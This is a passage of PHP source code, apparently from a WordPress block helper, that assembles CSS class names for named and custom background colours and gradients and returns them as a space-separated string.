	$has_named_gradient          = ! empty( $attributes['gradient'] );
	$has_custom_gradient         = ! empty( $attributes['style']['color']['gradient'] );
	if (
		$has_named_background_color ||
		$has_custom_background_color ||
		$has_named_gradient ||
		$has_custom_gradient
	) {
		$classnames[] = 'has-background';
	}
	if ( $has_named_background_color ) {
		$classnames[] = sprintf( 'has-%s-background-color', $attributes['backgroundColor'] );
	}
	if ( $has_named_gradient ) {
		$classnames[] = sprintf( 'has-%s-gradient-background', $attributes['gradient'] );
	}

	return implode( ' ', $classnames );
}